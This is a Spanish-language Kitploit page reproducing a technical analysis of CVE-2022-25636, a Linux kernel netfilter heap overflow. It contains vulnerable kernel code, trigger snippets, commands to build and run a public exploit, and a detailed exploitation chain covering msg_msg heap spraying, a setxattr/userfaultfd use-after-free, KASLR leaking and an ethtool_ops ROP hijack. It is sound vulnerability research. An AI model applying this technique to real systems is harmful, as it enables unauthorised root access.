Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-25636 — Análisis técnico detallado e informe de explotación para CVE-2022-25636, una vulnerabilidad de desbordamiento de montículo en netfilter del kernel de Linux que permite la escalada local de privilegios mediante rociado de montículo y uso después de liberación (UAF). | Kitploit
Herramientas/GitHubGitHub/chenaotian/cve-2022-25636
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAprendizaje y EducaciónExplotación de Binarios
GitHubchenaotian/cve-2022-25636

CVE-2022-25636

Análisis técnico detallado e informe de explotación para CVE-2022-25636, una vulnerabilidad de desbordamiento de montículo en netfilter del kernel de Linux que permite la escalada local de privilegios mediante rociado de montículo y uso después de liberación (UAF).

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
322hace 4 añosAún no revisado

CVE-2022-25636 Escalada de privilegios en netfilter del kernel

[toc]

Resumen de la vulnerabilidad

ID de vulnerabilidad: CVE-2022-25636

Producto afectado: linux kernel - netfilter

Versiones afectadas: linux kernel 5.4 ~

Impacto: el módulo del kernel netfilter contiene una escritura fuera de límites en el heap; si se dispone de SYS_ADMIN, se puede provocar una escalada de privilegios

Configuración del entorno

La vulnerabilidad se encuentra en el módulo del kernel netfilter; el código vulnerable está en 3 archivos ko.

root@kitploit:~
nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

Iniciar directamente con qemu presenta problemas: los ko no se cargan. Se utiliza vmware para la depuración conjunta de dos máquinas.

En ubuntu 21.10 se puede reemplazar el kernel manualmente:

root@kitploit:~
apt-get install linux-image-5.13.0-30-generic

Luego elimine el kernel original y compile el exploit:

root@kitploit:~
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

Resultado de la escalada de privilegios (tasa de éxito inferior al 50%):

image-20220318151010142

Mecanismo de la vulnerabilidad

Punto donde se produce la vulnerabilidad

La función vulnerable es nft_fwd_dup_netdev_offload:

linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

Al escribir en flow->rule->action.entries (una estructura de longitud variable sin comprobación de límites), no se verifica el límite del heap, lo que provoca la escritura fuera de límites de un entero (4 o 5) y de un puntero.

Pila de llamadas

Esta función se utiliza en nft_flow_rule_create:

linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create

root@kitploit:~
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {//根据传入reule 的数量计算num_actions
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// 只有带有NFT_OFFLOAD_F_ACTION 标记才计数

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);//根据num_actions 数量申请空间(变长结构体)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	//ctx->num_actions 初始化为0 ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {//根据rule数量调用offload
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);//调用漏洞函数
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

Se puede ver que la función nft_flow_rule_create asigna la estructura flow, según el número de estructuras rule pasadas desde el espacio de usuario, y la procesa. Usa la variable num_actions para contar, pero durante el conteo solo contabiliza las reglas que llevan el flag NFT_OFFLOAD_F_ACTION y asigna una estructura del tamaño correspondiente según esa cantidad. Sin embargo, al llamar posteriormente a offload para el procesamiento, no se usa num_actions para el bucle. En su lugar, se itera la misma cantidad de veces que el número de reglas, igual que antes, pero ya no se realiza la comprobación del flag NFT_OFFLOAD_F_ACTION. Es decir, cuando entre las reglas pasadas hay alguna que no lleva el flag NFT_OFFLOAD_F_ACTION, el número de llamadas a offload es mayor que la cantidad asignada de flow->rule->action.entries. Dentro de offload se llama a la función vulnerable nft_fwd_dup_netdev_offload; cada llamada incrementa , que se inicializa en 0, por lo que al final supera el rango del array , provocando la escritura fuera de límites.

Algunas estructuras:

root@kitploit:~
struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

Pila de llamadas:

  • nft_flow_rule_create
    • nft_dup_netdev_offload/nft_fwd_netdev_offload
      • nft_fwd_dup_netdev_offload

Uso de netfilter y activación de la vulnerabilidad

Enlace de referencia: https://www.openwall.com/lists/oss-security/2022/02/21/2

Ese correo explica cómo usar netfilter con las bibliotecas libmnl y libnftnl de C. El punto clave para activar la vulnerabilidad radica en si las reglas añadidas llevan el flag NFT_OFFLOAD_F_ACTION. Solo las reglas añadidas con nftnl_expr_alloc("immediate"); llevan el flag NFT_OFFLOAD_F_ACTION:

root@kitploit:~
for(int i = 0; i < legit_writes; i++) {//如下添加expr 不会越界
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
//如下添加expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

Explotación de la vulnerabilidad

La explotación no es muy estable, pero la técnica de explotación es muy ingeniosa. La vulnerabilidad escribe un puntero no controlable en un desplazamiento fijo fuera de límites; personalmente creo que la dificultad de explotación es muy alta. Analicemos brevemente la técnica. Según el código de la vulnerabilidad, se sabe que cada escritura fuera de límites solo puede escribir un entero (id, fijo en 4 o 5) y un puntero (*dev), donde el puntero apunta a la estructura struct net_device. Aquí solo nos centramos en la escritura del puntero dev:

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];//越界
	entry->id = id;
	entry->dev = dev; //固定偏移写一个堆地址,dev 为struct net_device 结构体
	··· ···
}

En cuanto a la estructura struct flow_rule, al ser una estructura de longitud variable, el rango de tamaños que puede asignar determina si la explotación puede tener éxito.

  • Cuando solo se pasa una regla, el tamaño de la estructura es 0x70, que pertenece a kmalloc-128 (0x80). Si se produce la escritura fuera de límites, el puntero dev se escribirá en la posición 0x88, es decir, 0x8 bytes más allá del límite.
  • Si se pasan dos reglas, el tamaño de la estructura es 0xC0, que pertenece exactamente a kmalloc-192 (0xC0). Si se produce la escritura fuera de límites, el puntero dev se escribirá en la posición 0xd8, es decir, 0x18 bytes más allá del límite; con dos escrituras fuera de límites, la segunda quedará en 0x18 + 0x50 más allá del límite...

Estructuras relacionadas:

root@kitploit:~
struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_match {
	struct flow_dissector	*dissector;
	void			*mask;
	void			*key;
};

struct flow_dissector {
	unsigned int used_keys; /* each bit repesents presence of one key id */
	unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {//大小0x50
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* user defined action cookie */
};

Fuga de la dirección de la estructura net_device del kernel

Para entrar en la explotación, primero hay que filtrar las direcciones de dos *dev. Como se necesitan filtrar dos direcciones dev diferentes, una se filtra en el proceso actual y la otra en un proceso hijo. Se usa msg_msg para la fuga (repaso de la técnica msg_msg). Se rocía el heap con mensajes de tamaño 0x1040; debido a la estructura de msg, cada mensaje se divide en dos segmentos: el segundo segmento, de longitud 0x70, junto con el puntero de cabecera, se asignará en kamalloc-128. Luego se libera un msg, liberando con ello un kmalloc-128. A continuación se usa la estructura flow_rule con una sola regla, que también es de kmalloc-128, con la esperanza de que se asigne en el segundo segmento kmalloc-128 del msg recién liberado y se forme el siguiente diseño de heap:

image-20220320175028938

Una vez que flow_rule ocupa la estructura msg_msgseg liberada, lo más probable es que quede contigua a otros msg_msgseg del spray de heap. Así, con una sola escritura fuera de límites, se escribirá un puntero de heap de net_device (puntero dev) en la posición 0x8 más allá del límite. Basta con recibir todos los mensajes del spray para leer ese puntero de heap, completar la fuga de direcciones para la explotación posterior, y sin que se produzca un bloqueo.

Uso de setxattr para un UAF y fuga de kaslr

A continuación se filtra kaslr para obtener la dirección base del kernel. Con el mismo método, se usa msg_msg + spray de heap: se rocía el heap con mensajes de kmalloc-192. Esta vez se usa el primer segmento de msg_msg como objetivo del spray. Luego, igual que antes, se libera uno y se asigna flow_rule, con la esperanza de formar el siguiente diseño de heap:

image-20220320184800730

Esta vez se usa la estructura flow_rule con dos reglas, de tamaño 0xC0, que pertenece exactamente a kmalloc-192. Si se producen 6 escrituras fuera de límites, se escribirá un puntero * dev en la posición 0x18 + 0x50*5 más allá del límite, que corresponde exactamente al desplazamiento 0x28 del tercer kmalloc-192 posterior. Si se trata de una estructura msg_msg, ese es el puntero security. Si entonces se usa la función msgrcv para liberar esa estructura msg_msg, se llamará a kfree y se liberará el contenido al que apunta el puntero security. Esto constituye también la primitiva de liberación de dirección arbitraria de msg_msg->security . El código relacionado es el siguiente:

root@kitploit:~
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{		
    ··· ···
    ··· ···
	free_msg(msg); 			
	··· ···
}

void free_msg(struct msg_msg *msg)
{
	··· ···
	security_msg_msg_free(msg);
	··· ···
}

void security_msg_msg_free(struct msg_msg *msg)
{
	call_void_hook(msg_msg_free_security, msg);
	kfree(msg->security);
	msg->security = NULL;
}

De este modo, al recibir los mensajes del spray, se liberará el puntero dev que sobrescribió security, es decir, se liberará la estructura net_device. A continuación se usa setxattr + userfaulted para intentar modificar ese bloque de heap y completar el UAF. setxattr puede asignar un bloque de heap del kernel de tamaño arbitrario, escribir contenido arbitrario en él y luego liberarlo. Es una técnica habitual en la explotación de vulnerabilidades del kernel.

Como ahora hay muchos bloques kmalloc-192 en estado libre en el kernel, una sola llamada a setxattr no es suficiente. Por eso se usa multihilo para llamar a setxattr simultáneamente y se aprovecha userfaulted para aumentar el tiempo de llamada, prolongando la ocupación de los bloques, con el fin de asignar más bloques de heap del kernel y conseguir ocupar la estructura net_device recién liberada. Una vez asignada, se puede modificar el contenido de la estructura net_device: se cambia el puntero dev_addr por el puntero netdev_ops, ya que netdev_ops se inicializa como loopback_ops; también se modifican campos como el nombre para comprobar si la modificación se realizó correctamente:

root@kitploit:~
    ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
    ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
    ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex

A continuación, basta con llamar a la función SIOCGIFHWADDR de ioctl de un socket para leer la dirección física, obteniendo así la dirección de loopback_ops y completando la fuga. Algunos miembros útiles de net_device son los siguientes:

root@kitploit:~
struct net_device {
	char			name[IFNAMSIZ]; //修改name判断是否改正确
	··· ···
	const struct net_device_ops *netdev_ops;//初始化为,用于泄露内核地址
	int			ifindex;   
	·· ···
	const struct  ethtool_ops *ethtool_ops; //用于劫持rip
	··· ···
	unsigned char		addr_len; //用于读取地址长度
	··· ···
	unsigned char		*dev_addr; //篡改用于泄露地址,被SIOCGIFHWADDR 读取
};

Segundo UAF para completar el ROP del kernel

Con el mismo método se usa setxattr + userfaulted para completar el UAF. Esta vez, una vez obtenida la dirección del kernel, se manipula directamente ethtool_ops de net_device para secuestrar eip; después, al usar la función SIOCETHTOOL de iotl de un socket, se llamará a una función de ethtool_ops, secuestrando rip, y entonces basta con ejecutar el ROP. Se reprodujo con éxito en ubuntu21.10 con la versión de kernel 13.0-30:

exploit:https://github.com/Bonfee/CVE-2022-25636

image-20220318151010142

Referencias

Correo: https://www.openwall.com/lists/oss-security/2022/02/21/2

Documento del autor: https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/

exploit: https://github.com/Bonfee/CVE-2022-25636

Descargar herramienta
ctx->num_actions
ctx->num_actions
flow->rule->action.entries